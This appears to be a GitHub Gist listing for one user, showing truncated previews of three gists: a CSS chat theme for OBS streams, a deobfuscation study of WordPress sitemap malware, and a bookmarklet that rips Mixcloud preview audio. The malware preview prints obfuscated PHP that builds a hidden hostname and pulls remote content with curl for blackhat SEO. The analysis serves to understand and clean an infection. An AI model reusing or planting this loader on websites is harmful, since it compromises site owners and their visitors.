Skip to content

Instantly share code, notes, and snippets.

@mrbrainz
mrbrainz / sub-fm-tv-nice-chat-stylish-style.json
Created July 19, 2021 13:36
Stylish settings for pretty Sub.FM chatroom to be used in OBS streams
[{"method":"saveStyle","name":"Sub Chat for OBS","enabled":true,"sections":[{"urls":[],"urlPrefixes":[],"domains":["chat.sub.fm"],"regexps":[],"code":"#kiwi .messages .topic, #kiwi .messages .notice, #kiwi .toolbar, #kiwi .messages .msg .nick:before, #kiwi .messages .msg .nick:after, #kiwi .right_bar, #kiwi .controlbox, #kiwi .messages .msg .time, #kiwi .messages .msg.quit, #kiwi .messages .msg.join {\n\tdisplay: none!important;\n}\n\n#kiwi .panel_container .messages .last_seen {\n border: none;\n}\n\n#kiwi > .panels {\n top: 0!important;\n left: 3px!important;\n right: auto!important;\n}\n\n#kiwi .panel_container {\n width: 260px;\n}\n\nbody {\n background: #fff;\n}\n\nbody #kiwi {\n background: none;\n color: #fff;\n}\n\n#kiwi .messages .msg .nick {\n\tfont-weight: bold;\n text-transform: uppercase;\n font-size: 10px;\n line-height: 1.1;\n}\n\n#kiwi .messages .msg {\n\tbackground: rgb(17,17,17);\n\tbackground: linear-gradient(0deg, rgba(17,17,17,1) 0%, rgba(51,51,51,1) 35%, rgb
@mrbrainz
mrbrainz / Exploited Wordpress Index File - Sitemap Malware
Last active March 23, 2024 09:40
Unobfuscation of a complicated malware that uses fake XML sitemaps for backhat SEO. This code was being injected into 2 of my Wordpress sites' index.php files every 2 days. I couldn't find where the security hole is, but the code was always the same. I spend time going through and unobfuscating by hand, as no online tool I could find would decod…
<?php @header('Content-Type:text/html;charset=utf-8');error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O=urldecode($OOOOOO);$oOooOO='z1228';$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9}; function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){$ooooOOOooOo=curl_init();curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);curl_close($ooooOOOooOo);return $oooooOOOOooO; } function ooOOoOOO($OooooO,$OOOoooo=array()){global $O;$OooooO=str_replace(' ','+',$OooooO);$OOooooO=curl_init();curl_setopt($OOooooO,CURLOPT_URL, "$Ooo
@mrbrainz
mrbrainz / brainz-bookmarklets.txt
Created May 29, 2018 12:41
List of my Bookmarklet junk
# Rip preview audio from Mixcloud
javascript:(function()%7Bif (%24('%23previewrape').length) %7B%24('%23previewrape').remove()%3B%24('%23prstyle').remove()%3B%7D%24('body').append('<div id%3D"previewrape"><h2>Preview Audio<%2Fh2><ul id%3D"prpa"><%2Ful><%2Fdiv><style id%3D"prstyle"> %23previewrape %7B width%3A 300px%3B height%3A 420px%3B position%3A fixed%3B top%3A 10px%3B right%3A 10px%3B border%3A 2px solid %23900%3B background%3A%23EDEDED%3Bz-index%3A 9999999%3B %7D %23prpa %7Bmargin%3A 0%3B padding%3A 0%3B list-style%3Anone%3B overflow%3A auto%3B height%3A 380px %7D %23prpa img %7Bwidth%3A 60px%3B height%3A 60px%3B margin%3A 0 5px 5px 0%3B float%3A left%3B %7D %23prpa li %7B margin%3A 15px 10px%3B padding%3A 10px%3B background%3A %23fff%3B border%3A 1px %23CCC solid%3B border-width%3A 0 0 1px 0%3B line-height%3A 1.2%3B font-size%3A 12px%3B font-weight%3A bold%3B%7D %23previewrape h2 %7B margin%3A 10px 0%3B font-size%3A 14px%3B text-align%3A center%3B %7D .clear %7B clear%3A both%3B %7D<%2Fstyle>')%3B%24('